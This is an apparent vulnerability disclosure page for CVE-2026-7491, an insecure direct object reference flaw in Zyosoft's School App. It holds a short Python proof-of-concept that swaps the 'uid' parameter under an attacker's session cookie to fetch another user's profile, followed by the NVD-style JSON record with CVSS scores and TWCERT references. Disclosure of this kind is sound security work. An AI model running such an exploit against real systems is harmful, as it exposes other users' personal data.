CVE-2026-7491

#!/usr/bin/env python3 import requests def check_idor(target_url, session_cookie, victim_id): """ PoC for IDOR vulnerability in Zyosoft School App. Attempts to access another user's data by modifying the user ID parameter. """ headers = { "Cookie": f"session_id={session_cookie}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } # Endpoint to fetch user profile (hypothetical) # Example: https://target.com/api/getProfile?uid=ATTACKER_ID # Changing uid to VICTIM_ID to exploit IDOR params = { "uid": victim_id } try: response = requests.get(target_url, headers=headers, params=params, timeout=10) if response.status_code == 200: print("[+] Request successful!") print(f"[+] Response Data: {response.text[:200]}...") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False except Exception as e: print(f"[-] Error occurred: {e}") return False if __name__ == "__main__": # Replace with actual target details during testing TARGET = "https://target-school-app.com/api/profile" SESSION = "attacker_session_token_here" VICTIM_UID = "1001" check_idor(TARGET, SESSION, VICTIM_UID)

{"cve": {"id": "CVE-2026-7491", "sourceIdentifier": "[email protected]", "published": "2026-05-02T10:16:19.107", "lastModified": "2026-05-05T20:16:19.800", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "School App developed by Zyosoft has an Insecure Direct Object Reference vulnerability, allowing authenticated remote attackers to modify a specific parameter to read and modify other users' data."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10897-64257-2.html", "source": "[email protected]"}, {"url": "https://www.twcert.org.tw/tw/cp-132-10896-e3240-1.html", "source": "[email protected]"}]}}